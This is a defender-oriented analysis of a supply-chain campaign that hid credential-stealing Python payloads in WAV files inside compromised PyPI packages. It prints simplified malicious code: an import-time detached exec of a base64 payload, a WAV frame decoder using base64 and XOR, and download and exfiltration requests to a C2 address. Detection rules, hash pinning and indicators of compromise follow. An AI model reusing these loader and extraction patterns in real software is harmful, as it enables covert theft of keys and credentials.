A practitioner’s breakdown of the TeamPCP campaign — how attackers smuggled credential-harvesting malware inside structurally valid WAV audio files to bypass network inspection, EDR, and static analysis tools.
Introduction
Most malware evasion techniques rely on obfuscation: encode something, encrypt it, rename it. What the TeamPCP campaign demonstrated in March 2026 was something more unsettling — hiding malicious payloads inside files that look so fundamentally benign that most security tooling doesn’t even inspect them. A WAV file. A ringtone. The kind of file that gets downloaded by a telephony SDK and raises zero eyebrows.
In the space of nine days, TeamPCP compromised packages across PyPI and npm — including Trivy, litellm, and the Telnyx SDK — injecting credential-stealing malware that used audio steganography as its delivery mechanism. The files passed MIME-type checks, slipped through network inspection proxies, and evaded EDR tools that don’t do deep content analysis on audio.
This post is a practitioner’s breakdown of how the attack worked, why the technique is effective, how to detect it, and what organizations should change about their supply chain posture in response. This is for defenders, engineers, and security teams — not a how-to for attackers.
What Is Audio Steganography?
Steganography is the practice of hiding secret data inside an ordinary-looking file. The critical distinction from encryption: encryption makes data unreadable, steganography hides the existence of the data entirely. To a casual observer — and to most automated inspection tools — there’s nothing to find.
Audio steganography hides data inside audio files: WAV, MP3, FLAC, and others. The common techniques range from subtle to blunt:
• LSB (Least Significant Bit): Replacing the least significant bits of audio samples with payload data. The human ear can’t perceive the tiny degradation in quality. This is the technique most people mean when they say “audio steganography.”
• Phase Coding: Encoding data by shifting the phase of audio segments. Less detectable by waveform analysis than LSB.
• Echo Hiding: Embedding data by introducing imperceptible echoes into the audio signal.
• Payload Packing: Stuffing encoded data directly into the audio frame data of a valid container file. The file has a legitimate header and passes file-type checks, but the “audio content” is entirely payload.
TeamPCP used payload packing — not true LSB steganography. Their WAV files had valid RIFF/WAVE headers and passed every structural file-type check, but the frame data contained base64-encoded, XOR-encrypted Python scripts instead of actual audio samples.
| TECHNICAL NOTEThe distinction between LSB steganography and payload packing matters for detection. LSB-encoded files sound like audio and have audio-shaped entropy. Payload-packed files have frame data with the entropy signature of base64 (∼5.95–6.0 bits/byte), which is statistically distinguishable from legitimate audio. We’ll cover this in the detection section. |
The TeamPCP Campaign: Timeline and Scope
The attack was methodical. TeamPCP didn’t start with steganography — they started with token theft, used those tokens to compromise packages at scale, and then introduced the WAV-based delivery mechanism as the campaign matured.
| Date | Target | Method |
| March 19 | Trivy (GitHub Actions) | Backdoored CI/CD binaries; stole npm/PyPI tokens |
| March 20 | 46+ npm packages | CanisterWorm self-spreading backdoor |
| March 22 | Kubernetes environments | WAV steganography payload delivery |
| March 24 | litellm (PyPI) | Credential harvester with .pth persistence |
| March 27 | telnyx (PyPI) | WAV steganography credential stealer |
The Telnyx compromise is the most technically complete example. The attacker obtained the Telnyx maintainer’s PyPI publishing token — almost certainly harvested from an earlier compromise via litellm — and published two malicious versions directly to PyPI. The GitHub source repository remained clean throughout. Anyone doing a source diff wouldn’t find anything wrong.
| SCOPE NOTEOnly 74 lines of malicious code were injected into telnyx/_client.py across three injection points: imports at the top, a base64-encoded payload variable in the middle, and attack functions appended after the legitimate class definitions. The rest of the package — thousands of lines — was untouched. This is intentional: minimal diff surface, maximum plausibility. |
The Attack Chain, Step by Step
Understanding the full kill chain matters for both detection and remediation. Each step has a distinct footprint and a corresponding defensive control.
Step 1: Package Compromise
TeamPCP published malicious versions 4.87.1 and 4.87.2 of the Telnyx SDK directly to PyPI using a stolen maintainer token. The package appeared legitimate because it was structurally identical to the real package, with three small injections into a single file.
Conceptual structure of the malicious injection (telnyx/_client.py)
| # Injection point 1: top of telnyx/_client.py (new imports added) import os, sys, subprocess # Injection point 2: base64-encoded payload variable (middle of file) # (obfuscated — conceptual representation only) _p = ‘<base64-encoded second-stage downloader>’ # Injection point 3: attack functions appended after class definitions def Setup(): # Windows path … def FetchAudio(): # Linux/macOS path … # Trigger: runs on import, no user interaction required if os.name == ‘nt’: Setup() else: FetchAudio() |
Step 2: Automatic Execution on Import
The malicious code executes the moment import telnyx is run — no user interaction, no explicit call. Any developer running telnyx in a test, any CI/CD pipeline installing and testing the package, any server doing a pip install during deployment: all of them triggered the payload.
The OS detection branch is deliberate. The Windows path (Setup()) drops a persistent binary. The Linux/macOS path (FetchAudio()) launches a detached subprocess that runs independently of the parent process. Even if the importing script exits immediately, the harvester keeps running.
FetchAudio() — detached subprocess execution (simplified)
| # Simplified FetchAudio() — the Linux/macOS execution path def FetchAudio(): if os.name == ‘nt’: # skip on Windows, handled by Setup() return try: subprocess.Popen( [sys.executable, “-c”, f”import base64; exec(base64.b64decode(‘{_p}’).decode())”], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True # detaches from parent process ) except: pass # silently swallow all errors |
The start_new_session=True parameter is key. It creates a new process group, severing the child from the parent’s signal handling. The parent process can exit, be killed, or time out — the harvester continues regardless. On macOS and Linux, this is standard practice for creating daemons. Here it’s used to make the malicious process resilient to cleanup.
Step 3: WAV File Download
The decoded _p payload downloads a file called ringtone.wav from the attacker’s C2 server at 83.142.209[.]203:8080. The filename is deliberate misdirection: a ringtone download is entirely plausible for a telephony SDK. On Windows, the equivalent is hangup.wav — also plausible.
The file download itself looks benign to most network inspection tools. It’s an HTTP GET request for an audio file, with a valid Content-Type: audio/wav response header. Nothing in the network traffic suggests malicious intent.
HTTP signature of the WAV download
| # Network traffic signature of the WAV download (conceptual) GET /ringtone.wav HTTP/1.1 Host: 83.142.209[.]203:8080 User-Agent: python-requests/2.31.0 HTTP/1.1 200 OK Content-Type: audio/wav # passes MIME-type inspection Content-Length: <size> RIFF….WAVEfmt … # valid WAV header <base64-encoded XOR-encrypted Python payload in frame data> |
Step 4: Extracting the Payload from the WAV File
This is the core of the steganographic technique. The WAV file has a structurally valid RIFF/WAVE header — Python’s wave module opens it without error, file and libmagic identify it as audio/wav — but the frame data contains the actual payload.
The decoding process:
• Read all audio frames using Python’s wave module
• Base64-decode the raw frame bytes
• Extract the first 8 bytes as the XOR key
• XOR-decrypt the remaining bytes using that key
• Execute the resulting Python script
WAV payload extraction (educational reference)
| import wave import base64 def decode_wav_payload(wav_path): with wave.open(wav_path, ‘rb’) as w: # Read all audio frames — in a real audio file, these are PCM samples. # Here, they’re base64-encoded XOR-encrypted Python code. raw_frames = w.readframes(w.getnframes()) # Step 1: base64-decode the frame data decoded = base64.b64decode(raw_frames) # Step 2: first 8 bytes = the XOR key xor_key = decoded[:8] encrypted_payload = decoded[8:] # Step 3: XOR-decrypt byte by byte with cycling key payload = bytes([ encrypted_payload[i] ^ xor_key[i % len(xor_key)] for i in range(len(encrypted_payload)) ]) return payload # The returned bytes are a complete Python script, executed directly. # On Linux/macOS it is piped to the interpreter via stdin, # leaving no intermediate file on disk. |
The XOR key is embedded within the file itself (the first 8 bytes after base64 decoding). This isn’t strong cryptography — it’s obfuscation. Anyone who understands the scheme can reverse it trivially. But it serves its purpose: preventing signature-based detection of the payload inside the file.
Step 5: Credential Harvesting and Exfiltration
The decoded payload is an 83-line Python script. It runs silently, collects everything useful, encrypts it, and exfiltrates it to the same C2 server. The data collected:
• Environment variables — API keys, tokens, secrets, database URLs
• .env files in the working directory and parent directories
• Shell history files (~/.bash_history, ~/.zsh_history)
• SSH private keys (~/.ssh/)
• Cloud provider credential files (AWS ~/.aws/credentials, GCP application default credentials, Azure CLI tokens)
• Kubernetes secrets, if running inside a cluster (~/.kube/config, service account tokens)
The stolen data is encrypted with AES-256-CBC. The AES session key is then wrapped with an attacker-controlled RSA-4096 public key using OAEP padding — a hybrid encryption scheme that ensures only the attacker can decrypt the archive. The encrypted bundle is sent as tpcp.tar.gz via HTTP POST.
Exfiltration POST request structure
| # Exfiltration request signature (conceptual) POST / HTTP/1.1 Host: 83.142.209[.]203:8080 X-Filename: tpcp.tar.gz # attribution indicator across campaigns Content-Type: application/octet-stream # Body: AES-256-CBC encrypted archive, AES key wrapped with RSA-4096 # The RSA public key was byte-for-byte identical to the one used # in the litellm compromise — the attribution link between campaigns. |
The RSA public key reuse is what enabled researchers to attribute both the litellm and Telnyx campaigns to the same actor. In operational security terms, that’s a mistake. But it’s the kind of mistake that only matters if someone is looking closely enough to compare keys across incidents.
Why This Technique Evades Detection
The effectiveness of the WAV delivery mechanism isn’t accidental. It’s the result of deliberately targeting gaps in how most security tooling operates.
Network Inspection
Content-filtering proxies and firewalls inspect HTTP traffic for known malicious patterns: executables, base64 blobs in URLs, PowerShell scripts, PE headers. A WAV file with a valid audio header and a Content-Type: audio/wav response header triggers none of those signatures. The file looks like what it claims to be at the network layer.
Endpoint Detection (EDR)
Most EDR solutions classify files by type and apply different inspection depth based on that classification. Audio files are generally in a low-suspicion category. They’re not executed directly; they don’t have code sections; they don’t match executable signatures. Deep content analysis of audio frame data for base64 patterns is not a standard EDR behavior.
Static Analysis and MIME Detection
The WAV file has a legitimate RIFF/WAVE header. Python’s wave module opens it without error. The file command, libmagic, and browser MIME sniffing all identify it as audio/wav. There’s no structural anomaly to flag — the anomaly is purely in what the frame data represents semantically.
Forensic Footprint
On Linux and macOS, the payload is piped directly to a Python interpreter via stdin after decoding, executed in memory. The temporary directory is recursively deleted afterward. The WAV file itself may be cleaned up. The result is near-zero forensic artifacts from the execution itself — the only persistent evidence is network traffic logs and whatever the credential harvester touches on the filesystem.
| DETECTION WINDOWThe most reliable detection window is during the WAV download itself — a Python process making an outbound HTTP request for an audio file to a bare IP address is anomalous for virtually any application. After the file has been processed and deleted, the forensic trail is sparse. |
How to Detect WAV Steganography
Despite its evasiveness, payload-packed WAV files have detectable characteristics. The key is knowing what to measure.
1. Entropy Analysis of Frame Data
Legitimate audio has entropy patterns that reflect the nature of the sound: voice recordings cluster in a certain range, white noise approaches maximum entropy, silence is low entropy. Base64-encoded data has a very characteristic signature: approximately 5.95–6.0 bits/byte, because it uses only 64 characters from the ASCII range.
Shannon entropy analysis for WAV frame data
| import math, wave from collections import Counter def calculate_entropy(data: bytes) -> float: “””Calculate Shannon entropy of a byte sequence.””” if not data: return 0.0 counter = Counter(data) length = len(data) return -sum( (count / length) * math.log2(count / length) for count in counter.values() ) def analyse_wav_entropy(wav_path: str) -> dict: with wave.open(wav_path, ‘rb’) as w: frames = w.readframes(w.getnframes()) params = w.getparams() entropy = calculate_entropy(frames) result = { ‘path’: wav_path, ‘frames’: len(frames), ‘channels’: params.nchannels, ‘sample_width’: params.sampwidth, ‘frame_rate’: params.framerate, ‘entropy’: round(entropy, 4), } # Heuristic thresholds: # Base64-packed payload: 5.90 – 6.05 <– suspicious # Simple/speech audio: 4.00 – 6.50 <– normal # Compressed/music: 7.00 – 7.80 <– normal # Random/encrypted data: 7.80 – 8.00 <– suspicious (different attack) if 5.88 <= entropy <= 6.10: result[‘verdict’] = ‘SUSPICIOUS — entropy consistent with base64 payload’ else: result[‘verdict’] = ‘OK — entropy within normal audio range’ return result # Example output for a poisoned WAV: # {‘entropy’: 5.9712, ‘verdict’: ‘SUSPICIOUS — entropy consistent with base64 payload’} |
2. Base64 Character Pattern Detection
A simpler but effective check: test whether the raw frame data consists entirely of base64-legal characters. Legitimate audio samples at 8-bit or 16-bit depth will contain byte values distributed across the full range. Base64-encoded data only uses A–Z, a–z, 0–9, +, /, and =.
Base64 character pattern check on WAV frame data
| import re, wave def check_for_base64_frames(wav_path: str) -> bool: “”” Returns True if frame data appears to be base64-encoded rather than audio. Base64 only uses 64 characters; audio samples use the full byte range. “”” with wave.open(wav_path, ‘rb’) as w: frames = w.readframes(w.getnframes()) # Base64 alphabet: A-Z, a-z, 0-9, +, /, = (padding) base64_pattern = re.compile(rb’^[A-Za-z0-9+/=\s]+$’) if base64_pattern.match(frames): print(f'[ALERT] {wav_path}: frame data matches base64 alphabet’) print(f’ This file likely contains a hidden payload.’) return True print(f'[OK] {wav_path}: frame data appears to be normal audio’) return False # Combine with entropy check for higher-confidence detection: def screen_wav(path): result = analyse_wav_entropy(path) b64_match = check_for_base64_frames(path) high_confidence = b64_match and ‘SUSPICIOUS’ in result[‘verdict’] print(f’High-confidence payload detection: {high_confidence}’) |
3. Network Traffic Anomaly Detection
The most actionable detection opportunity is at the network layer, during the download. Python processes should not be requesting audio files from bare IP addresses. A few monitoring rules that would catch this:
Network detection rules for anomalous WAV downloads
| # Suricata / Snort rule concepts (illustrative — adapt to your ruleset) # Flag Python user-agent downloading .wav from non-standard port alert http any any -> any !80 ( msg: “Python process downloading WAV from non-standard port”; http.user_agent; content: “python”; http.uri; content: “.wav”; sid: 9000001; ) # Flag WAV download from bare IP (no hostname) alert http any any -> any any ( msg: “Audio file download from IP address (no domain)”; http.uri; content: “.wav”; http.host; content: !”.”; # no dot = no domain name sid: 9000002; ) # SIEM query (Splunk / Elastic equivalent logic) # process_name=python* AND dest_url=*.wav AND NOT dest_host=*.*.* # i.e. Python process, audio file URL, destination is a raw IP |
4. Package Integrity Verification
The cleanest preventive control is verifying that what you’ve installed matches what was published by the legitimate maintainer. For the Telnyx attack, the malicious versions had no corresponding GitHub release tags — a discrepancy that automated tooling can catch.
Package integrity verification workflow
| # Step 1: check your installed version pip show telnyx # Step 2: verify against known-good hash pip download telnyx==4.87.0 –no-deps -d /tmp/pkg_verify/ pip hash /tmp/pkg_verify/telnyx-4.87.0-py3-none-any.whl # Compare against the hash published on the package’s PyPI page for that version # Step 3: scan for known malicious packages pip install pip-audit pip-audit # Step 4: use Socket or Snyk for supply chain analysis # Socket monitors for new package versions with behavioral differences # (new network calls, new subprocess usage, new obfuscated strings) # Step 5: compare installed package against GitHub source # For telnyx 4.87.1/4.87.2, the GitHub repo had no matching release tag # — a clear signal that the PyPI version was not from the official maintainer |
Defending Against Supply Chain Steganography Attacks
No single control stops this. The defense is layered. Here’s what actually matters, in order of impact.
Pin Dependencies and Verify Hashes
Unpinned dependencies in production are an unacceptable risk given the current supply chain threat landscape. Every package should be pinned to a specific version with a hash, so that any modification — even to a version you’re already using — fails the integrity check.
Dependency pinning with hash verification
| # requirements.txt with hash pinning telnyx==4.87.0 \ –hash=sha256:a1b2c3d4e5f6… # SHA-256 of the wheel # Generate locked requirements with hashes using pip-compile: pip install pip-tools pip-compile –generate-hashes requirements.in # Poetry lockfile (poetry.lock) provides equivalent protection: poetry add telnyx@4.87.0 # poetry.lock records content-hash for every resolved dependency # Verify hashes on install: pip install -r requirements.txt –require-hashes # Any hash mismatch aborts the install with an error. |
Monitor for Unexpected Outbound Connections
Python application processes should not be downloading audio files. Set up egress monitoring and alerting for anomalous outbound behavior — this is the detection control with the highest practical impact for catching this specific technique in production.
Egress monitoring for anomalous Python network activity
| # Linux: use auditd to log outbound connections from Python processes # /etc/audit/rules.d/python-network.rules -a always,exit -F arch=b64 -S connect -F exe=/usr/bin/python3 -k py_network # Then search audit logs for WAV downloads: ausearch -k py_network | grep -i ‘wav\|audio’ # Or use eBPF/Falco for real-time alerting: # Falco rule concept: # – rule: Python downloading audio file # desc: Python process fetching a WAV/MP3 file — unusual behavior # condition: spawned_process and proc.name=python3 # and evt.type=connect # and fd.name contains ‘.wav’ # output: Python audio download (pid=%proc.pid cmd=%proc.cmdline) # priority: WARNING # Block egress by default; allowlist known destinations: # iptables -A OUTPUT -m owner –uid-owner appuser -d 0.0.0.0/0 -j DROP # iptables -A OUTPUT -m owner –uid-owner appuser -d <allowed_ip> -j ACCEPT |
Implement Pre-Install Behavioral Scanning
Tools like Socket analyze new package versions for behavioral changes — new network calls, new subprocess usage, new obfuscated strings — before they reach your environment. For the Telnyx attack, the new import of subprocess and the presence of a base64-encoded string variable would have been flagged.
Rotate Credentials Immediately if Affected
If any system ran telnyx 4.87.1 or 4.87.2, assume a full credential compromise. The harvester collects everything — environment variables, .env files, shell history, SSH keys, cloud credentials, Kubernetes tokens. The scope of rotation required is broad:
• All API keys and tokens present in environment variables
• SSH keys from ~/.ssh/ on affected machines
• Cloud provider credentials (AWS, GCP, Azure) — including any service account keys
• Any secrets stored in .env files
• Kubernetes service account tokens if running in a cluster
• Any credentials that may have appeared in shell history
Verify Package Provenance
Before installing a new package version, especially for critical dependencies, confirm that the version exists in the source repository with a corresponding tag or release. A PyPI version with no matching GitHub release is a significant red flag.
Verifying PyPI version has a corresponding GitHub release
| # Quick provenance check: does the PyPI version have a GitHub release? # 1. Find the package’s source repository pip show telnyx | grep Home-page # 2. Check GitHub releases/tags for the version # https://github.com/team-telnyx/telnyx-python/releases # If version 4.87.1 exists on PyPI but NOT on GitHub — don’t install it. # 3. Automate with the GitHub API curl -s https://api.github.com/repos/team-telnyx/telnyx-python/releases \ | jq ‘.[].tag_name’ | grep ‘4.87.1’ # Empty output = no matching GitHub release = proceed with extreme caution |
Indicators of Compromise (IOCs)
The following indicators are from the TeamPCP Telnyx campaign. If any of these appear in your logs, treat the affected system as fully compromised.
| Indicator | Type | Description |
| 83.142.209[.]203:8080 | C2 Server | Payload delivery and credential exfiltration endpoint |
| ringtone.wav | Filename | Linux/macOS second-stage WAV payload |
| hangup.wav | Filename | Windows second-stage WAV payload |
| tpcp.tar.gz | Filename | Exfiltrated credential archive |
| X-Filename: tpcp.tar.gz | HTTP Header | Identifies exfiltration POST requests |
| telnyx==4.87.1 | Package | Compromised PyPI version |
| telnyx==4.87.2 | Package | Compromised PyPI version |
| msbuild.exe (Startup) | Persistence | Windows persistence mechanism |
| IF YOU FIND THESE INDICATORSDo not attempt to clean the system in place. Isolate it from the network immediately, preserve memory and disk images for forensic analysis, and begin credential rotation in parallel. Assume everything on the machine is compromised — API keys, SSH keys, cloud credentials, browser sessions, shell history. The harvester’s scope is broad by design. |
Compliance and Audit Implications
Supply chain attacks like this one have direct implications for several compliance frameworks, particularly around third-party risk and access control.
| COMPLIANCE MAPPINGSOC 2 CC9.2 — Vendor and Business Partner Management. Running unverified third-party packages in production without integrity checks is a gap against the expectation that organizations assess and monitor vendors. Hash pinning and SCA tooling are the technical controls that satisfy this. ISO 27001 A.15 (Supplier Relationships) — A.15.1.1 requires an information security policy for supplier relationships. The PyPI supply chain is a supplier relationship. Package provenance verification and hash-based integrity checking are controls under this domain. NIST SP 800-161 (C-SCRM) — The NIST Cybersecurity Supply Chain Risk Management framework explicitly addresses open-source software risk. Controls C-SCRM-4 (software integrity verification) and C-SCRM-7 (monitoring for known vulnerabilities) are directly applicable. SOC 2 CC6.1 — Logical access controls. Credential harvesting — the end goal of this attack — is a direct threat to the access control boundaries CC6.1 is designed to protect. Automated credential rotation capabilities and least-privilege scoping for secrets are the mitigating controls. |
Closing Thoughts
The TeamPCP campaign is a useful case study not because it introduced a novel technique — audio steganography has been documented for years — but because it demonstrated that the technique works in practice against real-world security tooling. The WAV files passed. The network traffic blended in. The forensic footprint was minimal.
What stopped it, ultimately, was researchers noticing version discrepancies between PyPI and GitHub and examining the injected code carefully. That’s a manual process. The defensive controls that matter — hash pinning, egress monitoring, behavioral package scanning, credential rotation procedures — are the ones that automate the detection before a researcher has to do it by hand.
Audio steganography as a delivery mechanism is likely to appear again. The evasion properties are real and the tooling required to implement it is not sophisticated. If you haven’t reviewed your dependency management posture recently, this campaign is a reasonable prompt to do so.
